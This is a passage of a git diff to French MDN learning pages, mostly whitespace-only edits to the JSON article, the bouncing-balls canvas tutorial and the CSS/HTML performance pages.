objet](/fr/docs/Learn/JavaScript/Objects/Basics) pour obtenir plus de détails sur la notation avec un point et avec une accolade. +> **Note :** Si vous comprenez difficilement la notation avec un point/une accolade utilisée pour accéder au JSON, ouvrez le fichier [superheroes.json](http://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json) dans un nouvel onglet ou dans votre éditeur de texte et consultez-le pendant la lecture de notre code Javascript. Vous pouvez également vous reporter à notre article [Les bases du JavaScript orienté objet](/fr/docs/Learn/JavaScript/Objects/Basics) pour obtenir plus de détails sur la notation avec un point et avec une accolade. ## Conversion entre objets et textes @@ -316,12 +316,12 @@ Dans l'exemple ci-dessus, accéder au JSON est simple, il suffit de définir la request.responseType = 'json'; ``` -Mais on n'a pas toujours cette chance — il est possible de recevoir la réponse JSON sous la forme d'une chaîne de caractères et il faut alors la convertir en objet. À l'inverse, lorsqu'on veut envoyer un objet JavaScript à travers le réseau il faut au préalable le convertir en JSON (une chaîne de caractères). Heureusement, ces deux problèmes sont tellement communs dans le développement web qu'un objet [JSON](/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON) interne a été ajouté aux navigateurs depuis longtemps, contenant les deux méthodes suivantes : +Mais on n'a pas toujours cette chance — il est possible de recevoir la réponse JSON sous la forme d'une chaîne de caractères et il faut alors la convertir en objet. À l'inverse, lorsqu'on veut envoyer un objet JavaScript à travers le réseau il faut au préalable le convertir en JSON (une chaîne de caractères). Heureusement, ces deux problèmes sont tellement communs dans le développement web qu'un objet [JSON](/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON) interne a été ajouté aux navigateurs depuis longtemps, contenant les deux méthodes suivantes : -- [`parse()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) qui accepte un objet JSON sous la forme d'une chaîne de caractères en paramètre et renvoie l'objet JavaScript correspondant. -- [`stringify()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) qui accepte un objet JavaScript en paramètre et renvoie son équivalent sous la forme d'une chaîne de caractères JSON. +- [`parse()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) qui accepte un objet JSON sous la forme d'une chaîne de caractères en paramètre et renvoie l'objet JavaScript correspondant. +- [`stringify()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) qui accepte un objet JavaScript en paramètre et renvoie son équivalent sous la forme d'une chaîne de caractères JSON. -Vous pouvez voir la première méthode en action dans notre exemple [heroes-finished-json-parse.html](http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html)) — C'est la même chose que pour l'exemple que nous avons écrit un peu plus tôt, à ceci près qu'on indique à la requête XHR de renvoyer la réponse en JSON sous forme de texte avant d'utiliser la méthode `parse()` pour la convertir en objet JavaScript. La partie du code correspondante se trouve ci-dessous : +Vous pouvez voir la première méthode en action dans notre exemple [heroes-finished-json-parse.html](http://mdn.github.io/learning-area/javascript/oojs/json/heroes-finished-json-parse.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/heroes-finished-json-parse.html)) — C'est la même chose que pour l'exemple que nous avons écrit un peu plus tôt, à ceci près qu'on indique à la requête XHR de renvoyer la réponse en JSON sous forme de texte avant d'utiliser la méthode `parse()` pour la convertir en objet JavaScript. La partie du code correspondante se trouve ci-dessous : ```js request.open('GET', requestURL); @@ -345,18 +345,18 @@ var myString = JSON.stringify(myJSON); myString ``` -On commence par créer un objet JavaScript puis on vérifie son contenu avant de le convertir en chaîne de caractères JSON avec `stringify()` — en sauvegardant au passage le résultat dans une nouvelle variable avant d'effectuer à nouveau une vérification du contenu. +On commence par créer un objet JavaScript puis on vérifie son contenu avant de le convertir en chaîne de caractères JSON avec `stringify()` — en sauvegardant au passage le résultat dans une nouvelle variable avant d'effectuer à nouveau une vérification du contenu. ## Résumé -Dans cet article, nous vous donnons un manuel simple pour utiliser le JSON dans vos programmes, incluant les méthodes de création et d'analyse syntaxique (parsage) du JSON et d'accès aux données qu'il contient. Dans le prochain article, nous débuterons l'apprentissage du Javascript orienté objet. +Dans cet article, nous vous donnons un manuel simple pour utiliser le JSON dans vos programmes, incluant les méthodes de création et d'analyse syntaxique (parsage) du JSON et d'accès aux données qu'il contient. Dans le prochain article, nous débuterons l'apprentissage du Javascript orienté objet. ## Voir aussi - [La page de référence sur l'objet JSON](/fr/docs/Web/JavaScript/Reference/Global_Objects/JSON) - [La page de référence sur l'objet XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest) -- [Utiliser XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest) +- [Utiliser XMLHttpRequest](/fr/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest) - [Les méthodes de requêtes HTTP](/fr/docs/Web/HTTP/Methods) -- [Le site web officiel avec un lien vers les normes de l' ECMA](http://json.org) +- [Le site web officiel avec un lien vers les normes de l'ECMA](http://json.org) {{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/javascript/objects/object_building_practice/index.md b/files/fr/learn/javascript/objects/object_building_practice/index.md index 7b4775abf8..6a98329949 100644 --- a/files/fr/learn/javascript/objects/object_building_practice/index.md +++ b/files/fr/learn/javascript/objects/object_building_practice/index.md @@ -15,7 +15,7 @@ original_slug: Learn/JavaScript/Objects/la_construction_d_objet_en_pratique --- {{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}} -Dans l'article précédent, nous avons passé en revue l'essentiel de la théorie de l'objet Javascript et sa syntaxe détaillée, vous donnant ainsi des bases solides sur lesquelles commencer. Dans le présent article nous plongeons dans un exercice pratique afin d'accroître votre savoir-faire dans la construction d'objets entièrement personnalisés donnant un résultat plutôt amusant et très coloré. +Dans l'article précédent, nous avons passé en revue l'essentiel de la théorie de l'objet Javascript et sa syntaxe détaillée, vous donnant ainsi des bases solides sur lesquelles commencer. Dans le présent article nous plongeons dans un exercice pratique afin d'accroître votre savoir-faire dans la construction d'objets entièrement personnalisés donnant un résultat plutôt amusant et très coloré. <table class="standard-table"> <tbody> @@ -24,14 +24,14 @@ Dans l'article précédent, nous avons passé en revue l'essentiel de la théor <td> <p> Connaissance basique de l'informatique, une compréhension basique du - HTML et du CSS, une familiarité avec les bases du JavaScript (voir + HTML et du CSS, une familiarité avec les bases du JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks" >Les blocs de construction</a - >) et les bases de la programmation objet en JavaScript (voir <a + >) et les bases de la programmation objet en JavaScript (voir <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction" >Introduction aux objets</a - >). + >). </p> </td> </tr> @@ -40,7 +40,7 @@ Dans l'article précédent, nous avons passé en revue l'essentiel de la théor <td> <p> Acquérir plus de pratique dans l'utilisation des objets et des - techniques orientées objet dans un contexte "monde réel". + techniques orientées objet dans un contexte "monde réel". </p> </td> </tr> @@ -53,13 +53,13 @@ Dans cet article, nous écrirons une démo classique de "balles bondissantes", p  -Cet exemple utilise l'[API Canvas](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics) pour dessiner les balles sur l'écran, et l'API [requestAnimationFrame](/fr/docs/Web/API/window/requestAnimationFrame) pour animer l'ensemble de l'affichage — Nul besoin d'avoir une connaissance préalable de ces APIs, nous expérons qu'une fois cet article terminé, vous aurez envie d'en faire une exploration approfondie. Tout le long du parcours nous utiliserons certains objets formidables et vous montrerons nombre de techniques sympathiques comme des balles bondissantes sur les murs et la vérification de balles qui s'entrechoquent (encore connue sous l'appelation **détection de collision**). +Cet exemple utilise l'[API Canvas](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics) pour dessiner les balles sur l'écran, et l'API [requestAnimationFrame](/fr/docs/Web/API/window/requestAnimationFrame) pour animer l'ensemble de l'affichage — Nul besoin d'avoir une connaissance préalable de ces APIs, nous expérons qu'une fois cet article terminé, vous aurez envie d'en faire une exploration approfondie. Tout le long du parcours nous utiliserons certains objets formidables et vous montrerons nombre de techniques sympathiques comme des balles bondissantes sur les murs et la vérification de balles qui s'entrechoquent (encore connue sous l'appelation **détection de collision**). -Pour commencer, faites des copies locales de nos fichiers [`index.html`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index.html), [`style.css`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css), et [`main.js`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main.js). Ces fichiers contiennent respectivement : +Pour commencer, faites des copies locales de nos fichiers [`index.html`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index.html), [`style.css`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css), et [`main.js`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main.js). Ces fichiers contiennent respectivement : -1. Un document HTML très simple contenant un élément {{HTMLElement("h1")}} , un élément {{HTMLElement("canvas")}} pour dessiner nos balles dessus et des élements pour appliquer notre CSS et notre JavaScript à notre HTML ; -2. Quelques styles très simples qui servent principalement à mettre en forme et placer le `<h1>`, et se débarasser de toutes barres de défilement ou de marges autour du pourtour de notre page (afin que cela paraisse plus sympathique et élégant) ; -3. Un peu de JavaScript qui sert à paramétrer l'élément `<canvas>` et fournir les fonctions globales que nous utiliserons. +1. Un document HTML très simple contenant un élément {{HTMLElement("h1")}} , un élément {{HTMLElement("canvas")}} pour dessiner nos balles dessus et des élements pour appliquer notre CSS et notre JavaScript à notre HTML ; +2. Quelques styles très simples qui servent principalement à mettre en forme et placer le `<h1>`, et se débarasser de toutes barres de défilement ou de marges autour du pourtour de notre page (afin que cela paraisse plus sympathique et élégant) ; +3. Un peu de JavaScript qui sert à paramétrer l'élément `<canvas>` et fournir les fonctions globales que nous utiliserons. La première partie du script ressemble à ceci : @@ -72,9 +72,9 @@ const width = canvas.width = window.innerWidth; const height = canvas.height = window.innerHeight; ``` -Ce script prend une référence à l'élément `<canvas>` et ensuite invoque la méthode [`getContext()`](/fr/docs/Web/API/HTMLCanvasElement/getContext) sur lui, nous donnant ainsi un contexte sur lequel nous pouvons commencer à dessiner. La variable résultante (`ctx`) est l'objet qui représente directement la surface du Canvas où nous pouvons dessiner et qui nous permet de dessiner des formes 2D sur ce dernier. +Ce script prend une référence à l'élément `<canvas>` et ensuite invoque la méthode [`getContext()`](/fr/docs/Web/API/HTMLCanvasElement/getContext) sur lui, nous donnant ainsi un contexte sur lequel nous pouvons commencer à dessiner. La variable résultante (`ctx`) est l'objet qui représente directement la surface du Canvas où nous pouvons dessiner et qui nous permet de dessiner des formes 2D sur ce dernier. -Après, nous configurons les variables `width` (largeur) et `height`(hauteur), et la largeur et la hauteur de l'élément canvas (représentés par les propriétés `canvas.width` et `canvas.height` ) afin qu'elles soient identiques à la fenêtre du navigateur (la surface sur laquelle apparaît la page web— Ceci peut être tiré des propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}). +Après, nous configurons les variables `width` (largeur) et `height`(hauteur), et la largeur et la hauteur de l'élément canvas (représentés par les propriétés `canvas.width` et `canvas.height` ) afin qu'elles soient identiques à la fenêtre du navigateur (la surface sur laquelle apparaît la page web— Ceci peut être tiré des propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}). Vous verrez qu'ici nous enchaînons les assignations de valeurs des différentes variables ensemble à des fins de rapidité. Ceci est parfaitement autorisé. @@ -91,23 +91,23 @@ Cette fonction prend deux nombres comme arguments, et renvoie un nombre compris ## Modéliser une balle dans notre programme -Notre programme met en œuvre beaucoup de balles bondissant partout sur l'écran. Comme nos balles se comporteront toutes de la même façon, cela semble tout à fait sensé de les représenter avec un objet. Commençons donc en ajoutant le constructeur suivant à la fin de notre code. +Notre programme met en œuvre beaucoup de balles bondissant partout sur l'écran. Comme nos balles se comporteront toutes de la même façon, cela semble tout à fait sensé de les représenter avec un objet. Commençons donc en ajoutant le constructeur suivant à la fin de notre code. ```js function Ball(x, y, velX, velY, color, size) { - this.x = x; - this.y = y; - this.velX = velX; - this.velY = velY; - this.color = color; - this.size = size; + this.x = x; + this.y = y; + this.velX = velX; + this.velY = velY; + this.color = color; + this.size = size; } ``` -Ici, nous incluons des paramètres qui définissent des propriétés dont chaque balle aura besoin pour fonctionner dans notre programme : +Ici, nous incluons des paramètres qui définissent des propriétés dont chaque balle aura besoin pour fonctionner dans notre programme : -- Les coordonnées `x` et `y` — les coordonnées verticales et horizontales où la balle débutera sur l'écran. Ceci peut se trouver entre 0 (coin à gauche en haut) et la valeur de la hauteur et de la largeur de la fenêtre du navigateur (coin en bas à droite). -- Une vitesse horizontale et verticale (`velX` et `velY`) — à chaque balle est attribuée une vitesse horizontale et verticale; en termes réels, ces valeurs seront régulièrement ajoutées aux valeurs de la coordonnée `x`/`y` quand nous commencerons à animer les balles, afin de les faire bouger d'autant sur chaque vignette (frame). +- Les coordonnées `x` et `y` — les coordonnées verticales et horizontales où la balle débutera sur l'écran. Ceci peut se trouver entre 0 (coin à gauche en haut) et la valeur de la hauteur et de la largeur de la fenêtre du navigateur (coin en bas à droite). +- Une vitesse horizontale et verticale (`velX` et `velY`) — à chaque balle est attribuée une vitesse horizontale et verticale; en termes réels, ces valeurs seront régulièrement ajoutées aux valeurs de la coordonnée `x`/`y` quand nous commencerons à animer les balles, afin de les faire bouger d'autant sur chaque vignette (frame). - Une couleur `color` — chaque balle a une couleur. - Une taille `size` — chaque balle a une taille. Ce sera son rayon mesuré en pixels. @@ -115,7 +115,7 @@ Ceci règle le problème des propriétés mais qu'en est il des méthodes ? Nous ### Dessiner la balle -En premier lieu, ajoutez la méthode `draw()` au `prototype` de `Ball()` : +En premier lieu, ajoutez la méthode `draw()` au `prototype` de `Ball()` : ```js Ball.prototype.draw = function() { @@ -126,17 +126,17 @@ Ball.prototype.draw = function() { } ``` -En utilisant cette fonction, nous pouvons dire à notre balle de se dessiner sur l'écran en appelant une série de membres du contexte 2D du canvas que nous avons défini plus tôt (`ctx`). Le contexte est comme le papier et maintenant nous allons demander à notre stylo d'y dessiner quelque chose : +En utilisant cette fonction, nous pouvons dire à notre balle de se dessiner sur l'écran en appelant une série de membres du contexte 2D du canvas que nous avons défini plus tôt (`ctx`). Le contexte est comme le papier et maintenant nous allons demander à notre stylo d'y dessiner quelque chose : - Premièrement, nous utilisons [`beginPath()`](/fr/docs/Web/API/CanvasRenderingContext2D/beginPath) pour spécifier que nous voulons dessiner une forme sur le papier. - Ensuite, nous utilisons [`fillStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/fillStyle) pour définir de quelle couleur nous voulons que la forme soit — nous lui attribuons la valeur de la propriété `color` de notre balle. -- Après, nous utilisons la méthode [`arc()`](/fr/docs/Web/API/CanvasRenderingContext2D/arc) pour tracer une forme en arc sur le papier. Ses paramètres sont : +- Après, nous utilisons la méthode [`arc()`](/fr/docs/Web/API/CanvasRenderingContext2D/arc) pour tracer une forme en arc sur le papier. Ses paramètres sont : - - Les positions `x` et `y` du centre de l'arc — nous spécifions donc les propriétés `x` et `y` de notre balle. - - Le rayon de l'arc — nous spécifions la propriété `size` de notre balle. - - Les deux derniers paramètres spécifient l'intervalle de début et de fin en degrés pour dessiner l'arc. Ici nous avons spécifié 0 degré et `2 * PI` qui est l'équivalent de 360 degrés en radians (malheureusement, vous êtes obligés de spécifier ces valeurs en radians et non en degrés). Cela nous donne un cercle complet. Si vous aviez spécifié seulement `1 * PI`, vous auriez eu un demi-cercle (180 degrés). + - Les positions `x` et `y` du centre de l'arc — nous spécifions donc les propriétés `x` et `y` de notre balle. + - Le rayon de l'arc — nous spécifions la propriété `size` de notre balle. + - Les deux derniers paramètres spécifient l'intervalle de début et de fin en degrés pour dessiner l'arc. Ici nous avons spécifié 0 degré et `2 * PI` qui est l'équivalent de 360 degrés en radians (malheureusement, vous êtes obligés de spécifier ces valeurs en radians et non en degrés). Cela nous donne un cercle complet. Si vous aviez spécifié seulement `1 * PI`, vous auriez eu un demi-cercle (180 degrés). -- En dernière position, nous utilisons la méthode [`fill()`](/fr/docs/Web/API/CanvasRenderingContext2D/fill) qui est habituellement utilisée pour spécifier que nous souhaitons mettre fin au dessin que nous avons commencé avec `beginPath()`, et remplir la surface délimitée avec la couleur que nous avions spécifiée plus tôt avec `fillStyle`. +- En dernière position, nous utilisons la méthode [`fill()`](/fr/docs/Web/API/CanvasRenderingContext2D/fill) qui est habituellement utilisée pour spécifier que nous souhaitons mettre fin au dessin que nous avons commencé avec `beginPath()`, et remplir la surface délimitée avec la couleur que nous avions spécifiée plus tôt avec `fillStyle`. Vous pouvez déjà commencer à tester votre objet : @@ -157,7 +157,7 @@ Vous pouvez déjà commencer à tester votre objet : testBall.draw() ``` -5. Lorsque vous entrerez la dernière ligne, vous devriez voir la balle se dessiner quelque part sur votre canvas. +5. Lorsque vous entrerez la dernière ligne, vous devriez voir la balle se dessiner quelque part sur votre canvas. ### Mettre à jour les données de la balle @@ -186,26 +186,26 @@ Ball.prototype.update = function() { } ``` -Les quatre premières parties de la fonction vérifient si la balle a atteint le rebord du canvas. Si c'est le cas, nous inversons la polarité de la vitesse appropriée pour faire bouger la balle dans le sens opposé. Donc par exemple, si la balle se déplaçait vers le haut (positif `velY`) alors la vitesse verticale est changée afin qu'elle commence à bouger plutôt vers le bas (negatif `velY`). +Les quatre premières parties de la fonction vérifient si la balle a atteint le rebord du canvas. Si c'est le cas, nous inversons la polarité de la vitesse appropriée pour faire bouger la balle dans le sens opposé. Donc par exemple, si la balle se déplaçait vers le haut (positif `velY`) alors la vitesse verticale est changée afin qu'elle commence à bouger plutôt vers le bas (negatif `velY`). Dans les quatre cas nous : - Verifions si la coordonnée `x` est plus grande que la largeur du canvas (la balle est en train de sortir du côté droit). - Verifions si la coordonnée `x` est plus petite que 0 (la balle est en train de sortir du côté gauche). - Verifions si la coordonnée `y` est plus grande que la hauteur du canvas (la balle est en train de sortir par le bas). -- Verifions si la coordonnée `y` est plus petite que 0 (la balle est en train de sortir par le haut). +- Verifions si la coordonnée `y` est plus petite que 0 (la balle est en train de sortir par le haut). -Dans chaque cas, nous incluons la taille `size` de la balle dans les calculs parce que les coordonnées `x`/`y` sont situées au centre de la balle mais nous voulons que le pourtour de la balle rebondisse sur le rebord — nous ne voulons pas que la balle sorte à moité hors de l'écran avant de commencer à rebondir vers l'arrière. +Dans chaque cas, nous incluons la taille `size` de la balle dans les calculs parce que les coordonnées `x`/`y` sont situées au centre de la balle mais nous voulons que le pourtour de la balle rebondisse sur le rebord — nous ne voulons pas que la balle sorte à moité hors de l'écran avant de commencer à rebondir vers l'arrière. Les deux dernières lignes ajoutent la valeur `velX` à la coordonnée `x` et la valeur `velY` à la coordonnée `y` — la balle est en effet mise en mouvement chaque fois que cette méthode est invoquée. -Cela suffira pour l'instant, passons à l'animation ! +Cela suffira pour l'instant, passons à l'animation ! ## Animer la balle -Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles au canvas et à les animer. +Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles au canvas et à les animer. -1. Tout d'abord, nous avons besoin d'un endroit où stocker toutes nos balles. Le tableau suivant fera ce travail — ajoutez-le au bas de votre code maintenant : +1. Tout d'abord, nous avons besoin d'un endroit où stocker toutes nos balles. Le tableau suivant fera ce travail — ajoutez-le au bas de votre code maintenant : ```js let balls = []; @@ -227,7 +227,7 @@ Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles a balls.push(ball); } - Tous les programmes qui animent les choses impliquent généralement une boucle d'animation, qui sert à mettre à jour les informations dans le programme et à restituer ensuite la vue résultante sur chaque image de l'animation. C'est la base de la plupart des jeux et autres programmes similaires. + Tous les programmes qui animent les choses impliquent généralement une boucle d'animation, qui sert à mettre à jour les informations dans le programme et à restituer ensuite la vue résultante sur chaque image de l'animation. C'est la base de la plupart des jeux et autres programmes similaires. 2. Ajoutez ce qui suit au bas de votre code maintenant : @@ -245,14 +245,14 @@ Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles a } ``` - Notre fonction `loop()` fonctionne comme suit : + Notre fonction `loop()` fonctionne comme suit : - On définit la couleur de remplissage du canvas en noir semi-transparent, puis dessine un rectangle de couleur sur toute la largeur et la hauteur du canvas, en utilisant `fillRect()` (les quatre paramètres fournissent une coordonnée de départ, une largeur et une hauteur pour le rectangle dessiné). Cela sert à masquer le dessin de l'image précédente avant que la suivante ne soit dessinée. Si vous ne faites pas cela, vous verrez juste de longs serpents se faufiler autour de la toile au lieu de balles qui bougent ! La couleur du remplissage est définie sur semi-transparent, `rgba (0,0,0,.25)`, pour permettre aux quelques images précédentes de briller légèrement, produisant les petites traînées derrière les balles lorsqu'elles se déplacent. Si vous avez changé 0.25 à 1, vous ne les verrez plus du tout. Essayez de faire varier ce dernier nombre (entre 0 et 1) pour voir l'effet qu'il a. - - On crée un nouvel objet `Ball()` avec des attributs générés aléatoirement grâce à la fonction `random()`, puis on ajoute l'objet au tableau, mais seulement lorsque le nombre de balles dans le tableau est inférieur à 25. Donc quand on a 25 balles à l'écran, plus aucune balle supplémentaire n'apparaît. Vous pouvez essayer de faire varier le nombre dans `balls.length <25` pour obtenir plus, ou moins de balles à l'écran. En fonction de la puissance de traitement de votre ordinateur / navigateur, spécifier plusieurs milliers de boules peut ralentir l'animation de façon très significative ! - - Le programme boucle à travers tous les objets du tableau sur chacun desquels il exécute la fonction `draw()` et `update()` pour dessiner à l'écran chaque balle et faire les mises à jour de chaque attribut avant le prochain rafraîchissement. - - Exécute à nouveau la fonction à l'aide de la méthode `requestAnimationFrame()` — lorsque cette méthode est exécutée en permanence et a reçu le même nom de fonction, elle exécute cette fonction un nombre défini de fois par seconde pour créer une animation fluide. Cela se fait généralement de manière récursive — ce qui signifie que la fonction s'appelle elle-même à chaque fois qu'elle s'exécute, de sorte qu'elle sera répétée encore et encore. + - On crée un nouvel objet `Ball()` avec des attributs générés aléatoirement grâce à la fonction `random()`, puis on ajoute l'objet au tableau, mais seulement lorsque le nombre de balles dans le tableau est inférieur à 25. Donc quand on a 25 balles à l'écran, plus aucune balle supplémentaire n'apparaît. Vous pouvez essayer de faire varier le nombre dans `balls.length <25` pour obtenir plus, ou moins de balles à l'écran. En fonction de la puissance de traitement de votre ordinateur / navigateur, spécifier plusieurs milliers de boules peut ralentir l'animation de façon très significative ! + - Le programme boucle à travers tous les objets du tableau sur chacun desquels il exécute la fonction `draw()` et `update()` pour dessiner à l'écran chaque balle et faire les mises à jour de chaque attribut avant le prochain rafraîchissement. + - Exécute à nouveau la fonction à l'aide de la méthode `requestAnimationFrame()` — lorsque cette méthode est exécutée en permanence et a reçu le même nom de fonction, elle exécute cette fonction un nombre défini de fois par seconde pour créer une animation fluide. Cela se fait généralement de manière récursive — ce qui signifie que la fonction s'appelle elle-même à chaque fois qu'elle s'exécute, de sorte qu'elle sera répétée encore et encore. -3. Finallement mais non moins important, ajoutez la ligne suivante au bas de votre code — nous devons appeler la fonction une fois pour démarrer l'animation. +3. Finallement mais non moins important, ajoutez la ligne suivante au bas de votre code — nous devons appeler la fonction une fois pour démarrer l'animation. ```js loop(); @@ -282,14 +282,14 @@ Maintenant, pour un peu de plaisir, ajoutons une détection de collision à notr } ``` - Cette méthode est un peu complexe, donc ne vous inquiétez pas si vous ne comprenez pas exactement comment cela fonctionne pour le moment. Regardons cela pas-à-pas : + Cette méthode est un peu complexe, donc ne vous inquiétez pas si vous ne comprenez pas exactement comment cela fonctionne pour le moment. Regardons cela pas-à-pas : - - Pour chaque balle _b_, nous devons vérifier chaque autre balle pour voir si elle est entrée en collision avec *b*. Pour ce faire, on inspecte toutes les balles du tableau `balls[]` dans une boucle `for`. - - Immédiatement à l'intérieur de cette boucle `for`, une instruction `if` vérifie si la balle courante *b'* , inspectée dans la boucle, n'est pas égale à la balle *b. Le code correspondant est :* `b'!== b`_._ En effet, nous ne voulons pas vérifier si une balle _b_ est entrée en collision avec elle-même ! Nous contrôlons donc si la balle actuelle _b_—dont la méthode `collisionDetect()` est invoquée—est distincte de la balle _b'_ inspectée dans la boucle*.* Ainsi le bloc de code venant après l'instruction `if` ne s'exécutera que si les balles _b_ et _b'_ ne sont pas identiques. - - Un algorithme classique permet ensuite de vérifier la superposition de deux disques. Ceci est expliqué plus loin dans [2D collision detection](/fr/docs/Games/Techniques/2D_collision_detection). + - Pour chaque balle _b_, nous devons vérifier chaque autre balle pour voir si elle est entrée en collision avec *b*. Pour ce faire, on inspecte toutes les balles du tableau `balls[]` dans une boucle `for`. + - Immédiatement à l'intérieur de cette boucle `for`, une instruction `if` vérifie si la balle courante *b'* , inspectée dans la boucle, n'est pas égale à la balle *b. Le code correspondant est :* `b'!== b`_._ En effet, nous ne voulons pas vérifier si une balle _b_ est entrée en collision avec elle-même ! Nous contrôlons donc si la balle actuelle _b_—dont la méthode `collisionDetect()` est invoquée—est distincte de la balle _b'_ inspectée dans la boucle*.* Ainsi le bloc de code venant après l'instruction `if` ne s'exécutera que si les balles _b_ et _b'_ ne sont pas identiques. + - Un algorithme classique permet ensuite de vérifier la superposition de deux disques. Ceci est expliqué plus loin dans [2D collision detection](/fr/docs/Games/Techniques/2D_collision_detection). - Si une collision est détectée, le code à l'intérieur de l'instruction interne `if` est exécuté. Dans ce cas, nous définissons simplement la propriété `color` des deux cercles à une nouvelle couleur aléatoire. Nous aurions pu faire quelque chose de bien plus complexe, comme faire rebondir les balles de façon réaliste, mais cela aurait été beaucoup plus complexe à mettre en œuvre. Pour de telles simulations de physique, les développeurs ont tendance à utiliser des bibliothèques de jeux ou de physiques telles que [PhysicsJS](http://wellcaffeinated.net/PhysicsJS/), [matter.js](http://brm.io/matter-js/), [Phaser](http://phaser.io/), etc. -2. Vous devez également appeler cette méthode dans chaque image de l'animation. Ajouter le code ci-dessous juste après la ligne `balls[i].update();`: +2. Vous devez également appeler cette méthode dans chaque image de l'animation. Ajouter le code ci-dessous juste après la ligne `balls[i].update();`: ```js balls[i].collisionDetect(); @@ -301,7 +301,7 @@ Maintenant, pour un peu de plaisir, ajoutons une détection de collision à notr ## Résumé -Nous espérons que vous vous êtes amusé à écrire votre propre exemple de balles aléatoires bondissantes comme dans le monde réel, en utilisant diverses techniques orientées objet et divers objets d'un bout à l'autre du module ! Nous espérons vous avoir offert un aperçu utile de l'utilisation des objets. +Nous espérons que vous vous êtes amusé à écrire votre propre exemple de balles aléatoires bondissantes comme dans le monde réel, en utilisant diverses techniques orientées objet et divers objets d'un bout à l'autre du module ! Nous espérons vous avoir offert un aperçu utile de l'utilisation des objets. C'est tout pour les articles sur les objets — il ne vous reste plus qu'à tester vos compétences dans l'évaluation sur les objets. @@ -312,7 +312,7 @@ C'est tout pour les articles sur les objets — il ne vous reste plus qu'à test - [Détection de collision 2D](/fr/docs/Games/Techniques/2D_collision_detection) - [Détection de collision 3D](/fr/docs/Games/Techniques/3D_collision_detection) - [Jeu d'évasion 2D utilisant du JavaScript pu](/fr/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript) —un excellent tutoriel pour débutant montrant comment construire un jeu en 2D. -- [Jeu d'évasion 2D utilisant phaser](/fr/docs/Games/Tutorials/2D_breakout_game_Phaser) — explique les bases de la construction d'un jeu 2D en utilisant une bibliothèque de jeux JavaScript. +- [Jeu d'évasion 2D utilisant phaser](/fr/docs/Games/Tutorials/2D_breakout_game_Phaser) — explique les bases de la construction d'un jeu 2D en utilisant une bibliothèque de jeux JavaScript. {{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/performance/css/index.md b/files/fr/learn/performance/css/index.md index d07d7fe267..e2d54430eb 100644 --- a/files/fr/learn/performance/css/index.md +++ b/files/fr/learn/performance/css/index.md @@ -53,9 +53,9 @@ La propriété CSS [`contain`](/fr/docs/Web/CSS/contain) permet quant à elle de ## Conclusion -Optimiser les performances en CSS revient ainsi à améliorer deux étapes cruciales et chronophages du rendu de page : +Optimiser les performances en CSS revient ainsi à améliorer deux étapes cruciales et chronophages du rendu de page : -- d'une part le chargement des ressources CSS de la page (en compressant, en divisant le fichier, ou encore en l'enregistrant dans le cache par exemple) ; +- d'une part le chargement des ressources CSS de la page (en compressant, en divisant le fichier, ou encore en l'enregistrant dans le cache par exemple) ; - d'autre part le rendu, en établissant une stratégie ingénieuse de chargement et d'interprétation des ressources, notamment en distinguant les ressources essentielles pour le rendu et les autres ressources annexes, qui peuvent attendre. Enfin, les outils de développement du navigateur sont à votre disposition pour vous aider à cibler les étapes chronophages qui ralentissent le rendu de vos pages et gagner encore en efficacité, au prix parfois de quelques compromis. diff --git a/files/fr/learn/performance/html/index.md b/files/fr/learn/performance/html/index.md index b2f063073b..f2b3c146e0 100644 --- a/files/fr/learn/performance/html/index.md +++ b/files/fr/learn/performance/html/index.md @@ -10,7 +10,7 @@ HTML est par défaut rapide et accessible. Il est du devoir de toute personne d <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Bases de l'informatique, <a @@ -24,7 +24,7 @@ HTML est par défaut rapide et accessible. Il est du devoir de toute personne d </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> En savoir davantage sur l'impact des éléments et attributs HTML le l'optimisation des performances pour le web. diff --git a/files/fr/learn/performance/index.md b/files/fr/learn/performance/index.md index a785a493d8..9225555d77 100644 --- 